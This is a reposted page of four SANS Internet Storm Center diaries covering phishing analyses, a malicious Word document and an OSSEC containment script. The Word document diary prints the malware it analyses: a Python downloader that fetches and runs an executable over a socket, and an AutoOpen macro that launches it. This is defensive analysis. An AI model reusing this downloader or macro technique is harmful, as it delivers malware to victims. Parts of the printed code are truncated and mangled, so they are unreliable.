Slightly broken overlay phishing, (Mon, Sep 21st)

At the Internet Storm Center, we often receive examples of interesting phishing e-mails from our readers. Of course, this is not the only source of interesting malicious messages in our inboxes – sometimes the phishing authors “cut out the middleman” and send their creations directly to us. Last week, this was the case with a slightly unusual (and slightly broken) phishing, which tries to use legitimate pages overlaid with a fake login prompt.

We were not the first ones to receive a similar message[1], however as our example was slightly different to the one recorded before and the servers, which the attackers used, were still active at the time of writing, I thought this campaign might deserve a second look.

The message itself was a fairly generic phishing, using the commonly seen lure of the type “you have quarantined messages, review them now or they will be deleted”.

The only thing of note in the message was the link, which the victim was supposed to open. It pointed to the following, slightly broken URL.

http[:]//'.$domin.'@antiochspore[.]com[.]sg/portal/[email protected]&[email protected]&aGFuZGxlcnNAc2Fucy5lZHU=

It seems that the correct value for the $domin variable was not included in the link, which was supposed to start with “”, probably so it would look more legitimate. The link contains three parameters, all of which hold the e-mail address of the recipient – one in plaintext, one in Base64 encoded form and one, where the address is set as value for a parameter named “email”. The latter parameter is the only one which is used by the phishing website for personalization of the content and the inclusion of the other two appears to be completely useless – they may be omitted form the link with no impact on its functionality.

After the URL is opened, the victim is supposed to be redirected from antiochspore[.]com[.]sg to en[.]garden-max[.]eu, where they should see a legitimate page, loaded (in an iframe) from the domain to which the address in the “email” parameter belongs, overlaid with a fake login prompt (see the first picture). This technique, though not new, is imaginative and might lead to convincingly looking results in some cases. In others however, it fails quite spectacularly. Most sites which offer web-based access to e-mail (among others) actively block attempts to be loaded in iframes using the X-Frame-Options HTTP header[2]. If the address in the “email” parameter belongs to such a site, the attempt to load the page in an iframe ends with either only the overlay with login prompt being shown, or – depending on the browser used – results in an error message being displayed under the prompt.

It is worth mentioning that even in cases when the page is displayed correctly, the resulting effect might not always be convincing. For some reason, the overlay has a fixed width set to 1366 pixels.

This means that on larger screens, parts of the underlying page are not covered by it, which looks suspicious to say the least.

Although the technique of overlaying legitimate pages with a fake login prompts is not uninteresting and could potentially be effective against users of certain services, due to use of mechanisms which prevent its effective employment on many modern websites, it hardly presents a mainstream threat.

In case of this campaign, this is compounded by the incorrectly created link with unused parameters and the limited overlay used to cover the legitimate page. This would seem to indicate that whoever is behind this campaign either just used a phishing kit and deployed it with “out of the box” configuration or that they just didn’t spend much time testing their creation.

In any case, although the technique doesn’t pose too large a threat when it comes to real world phishing, it might not be a bad choice for use in a security awareness exercise/phishing tests…


Indicators of Compromise (IoCs)



Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Analysis of a Salesforce Phishing Emails, (Sun, Sep 20th)

Over the past week, I have noticed several phishing emails linked to Salesforce asking to confirm the recipient’s email address.

Sample Header

The body of the email is quite simple. Reviewing the email View Message URL by hovering over the URL or changing email to text mode and comparing it against the correct Salesforce website URL, it clearly shows the client is getting phished.

Email Body

The next thing on the verification list for this email is the SSL certificate of the site; it was created yesterday (18 Sep 2020) and this email was received today (see sample header). The certificate is authenticated by ZeroSSL which is considered an alternative to Let’s Encrypt where you can also create for free a certificate valid for 90 day.

ZeroSSL Certificate Information

The root domain associated with[.]com and www[.] qualitytags[.]com are both resolving to but www[.] qualitytags[.]com is using a Let’s Encrypt certificate setup on the 25 Aug 2020 good for 90 days.

Let’s Encrypt Certificate Information

These few simple steps can be used to verify the legitimacy of a website by examining the certificate information, its URL and manually do a quick search to confirm the website URL contained in the email is the same as the true website. The From: email address from the header ([email protected][.]com) doesn’t match the domain name which would be another clue that something is suspicious. If unsure, it is a good idea to report it to the security team for analysis.


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

A Mix of Python & VBA in a Malicious Word Document, (Fri, Sep 18th)

A few days ago, Didier wrote an interesting diary about embedded objects into an Office document[1]. I had a discussion about an interesting OLE file that I found. Because it used the same technique, I let Didier publish his diary first. Now, let’s have a look at the document.

It’s an OLE file that contains an embedded object:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oleObject1.bin
  1:        76 'x01CompObj'
  2: O     471 'x01Ole10Native'
  3:         6 'x03ObjInfo'
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oleObject1.bin -s 2 -d
?pJIkdw.pyC:UsersCNIyiDesktoppJIkdw.py7C:UsersCNIyiAppDataLocalTemppJIkdw (2).pyr
import socket
import tempfile
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("", 8080))
buf = ""
while True:
  data = s.recv(1024)
  if data:
    buf += data
temp = tempfile.gettempdir() + "\" + "JcNrGlx.exe"
f = open(temp, "wb")
f = None

The code is easy to understand: It connects to, fetches a malicious PE file, dumps it on disk, and executes it. Note the private IP address used (RFC1918). It should be a test file (or from a red-team exercise?). The file hash is 40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988 with a VT score of 5/60[2]. I searched via VT for more information about this file and found the document where it was coming from. 

It’s a Word document (9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67) with a VT score of 8/63[3]. The file contains indeed our original OLE file as reported by

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite malicious.docx
A: word/vbaProject.bin
 A1:       348 'PROJECT'
 A2:        71 'PROJECTwm'
 A3: M    1327 'VBA/NewMacros'
 A4: m     924 'VBA/ThisDocument'
 A5:      2649 'VBA/_VBA_PROJECT'
 A6:      1082 'VBA/__SRP_0'
 A7:       104 'VBA/__SRP_1'
 A8:        84 'VBA/__SRP_2'
 A9:       107 'VBA/__SRP_3'
A10:       570 'VBA/dir'
B: word/embeddings/oleObject1.bin
 B1:        76 'x01CompObj'
 B2: O     471 'x01Ole10Native'
 B3:         6 'x03ObjInfo'

The macro in stream 3 is very simple:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite malicious.docx -s 3 -v
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
' AutoOpen Macro
    ActiveDocument.Shapes("Object 2").Select
    Selection.ShapeRange(1).OLEFormat.DoVerb VerbIndex:=wdOLEVerbPrimary
End Sub

The method (OLEFormat.DoVerb) requests an OLE object to perform the verb passed as argment[4]. ‘wdOLEVerbPrimary’ means to perform the verb that is invoked when the user double-clicks the object. The code will be executed only if Python is available on the targeted host.

The Word document seems corrupted and doesn’t open properly in my sandbox. But looking at the files inside the zip archive, you discover that the OLE file is indeed embedded:


Yesterday, I found new occurrences of the same OLE file but trying to connect to other IP addresses:

  • %%ip:

Interestingly, the last IP address (the routable one) belongs to (United States Courts)! The purpose of the file is still unclear but, being based on a Python payload, I presume the victim is targeted. Or, as I already did in the past, I spotted a red-team exercise preparation?


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Suspicious Endpoint Containment with OSSEC, (Thu, Sep 17th)

When a host is compromised/infected on your network, an important step in the Incident Handling process is the “containment” to prevent further infections.  To place the device into a restricted environment is definitively better than powering off the system and, probably, lose some pieces of evidence.

Endpoint protection solutions are the “in” thing for a while. Instead of using standard AV tools, those solutions implement more control and try to block attackers directly. One of the features they implement is a containment solution to prevent a compromised host to communicate over the network, except with the endpoint management console. An endpoint solution can be expensive if you have a lot of hosts to protect and… it’s (again) a new agent to deploy on them.

I’m a big fan of OSSEC[1] and I already wrote a few diaries about it[2][3]. Today, I’ll demonstrate how you can implement the function described above without an expensive solution. OSSEC has a feature called ‘Active-Response’ that helps to execute scripts on agents in case of specific alerts or… on demand!

I wrote a Windows command line script that temporarily replaces the existing local firewall rules by a very restricted new set:

  • Communication with the OSSEC server is still allowed
  • An IP address is allowed on all ports TCP/UDP
  • All remaining traffic is blocked

This allows a security team to temporarily isolate a suspicious computer from the network and to start some investigations by allowing a SIFT Workstation to connect to the host.

To configure this, in your ossec.conf file, create the new active-response setup:


Note: It’s important to not configure any timeout to prevent the host to be “unconfined” automatically.

Then, create the active-response action:


If you want to automatically contain a host, you may create rules: use ‘rules_group’ or ‘rules_id’. My rule_id ‘99999999’ will never trigger because it looks for something that will never happen! This way, you can prevent an automatic containment of a host.

Finally, deploy the script in the right directory (%OSSECPATH%active-responsebin) on all your OSSEC monitored hosts and you’re good to go!

How to contain a host, manually? OSSEC has a command to achieve this:

[[email protected] bin]# ./agent_control -u 011 -f contain-host0 -b

Where ‘011’ is the agent ID you’d like to contain and ‘contain-host0’ is the defined active-response action. In the case above, is the IP address of the incident handler that will investigate the suspicious host.

Here is a copy of the script:

:: Script to block all traffic except interesting hosts:
:: - The OSSEC server
:: - Incident Handling workstation (ex: a SANS SIFT)
:: Parameters:
:: - %1 = ADD|DELETE
:: - %2 = User (unused)
:: - %3 = IP address to whitelist

@echo off

:: Generate timestamp variables
for /F "TOKENS=1* DELIMS= " %%A IN ('DATE/T') DO SET DAT=%%A %%B
for /F "TOKENS=1-3 DELIMS=:" %%A IN ("%TIME%") DO SET TIM=%%A:%%B:%%C

:: Extract the OSSEC server IP address from config
setlocal EnableDelayedExpansion
(for /F "delims=" %%a in ('findstr /R ".*$" "%OSSECPATH%ossec.conf"') do (
set "line=%%a"
set "line=!line:*=!"
for /F "delims=nul || goto ERROR

if /I "%1"=="add" goto ADD
if /I "%1"=="delete" goto DEL

echo Invalid argument(s).
echo Usage: contain-me.cmd ^(ADD^|DELETE^) user IP_Address
echo Example: contain-me.cmd ADD -
exit /B 1

echo Cannot find OSSEC server IP address in ossec.conf
exit /B 1


:: Save the existing firewall rules
del %OSSECPATH%fw-backup.wfw" >nul
%WINDIR%system32netsh advfirewall export "%OSSECPATH%fw-backup.wfw"
:: Allow the OSSEC server IP
%WINDIR%system32netsh advfirewall firewall add rule name="Allow ICMP in" dir=in protocol=icmpv4 action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow ICMP out" dir=out protocol=icmpv4 action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server in"  dir=in localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server out" dir=out localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server in/tcp"  dir=in localport=any remoteip=%3/32 protocol=tcp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server in/udp"  dir=in localport=any remoteip=%3/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server out/tcp" dir=out localport=any remoteip=%3/32 protocol=tcp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server out/udp" dir=out localport=any remoteip=%3/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-responseactive-responses.log"
goto EXIT


:: Restore the saved firewall rules
%WINDIR%system32netsh advfirewall import "%OSSECPATH%fw-backup.wfw"
echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-responseactive-responses.log"

exit /B 0:

It will automatically extract the OSSEC server IP address from the config file and allow it. It will also backup your existing firewall rules and restore them.

There is no way to automatically restore the connectivity via OSSEC (when it’s not automatic). Once you completed the investigations on the host, just restore the previous firewall settings:

C:Program Files (x86)ossec-agentactive-responsebin>set OSSECPATH=c:Program Files (x86)ossec-agent
C:Program Files (x86)ossec-agentactive-responsebin>contain-me.cmd delete -

Or you can write a second active-response script to “uncontain” the host…

I implemented this script for Windows endpoints but it’s very easy to implement the same on other operating systems.


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 899 12345...»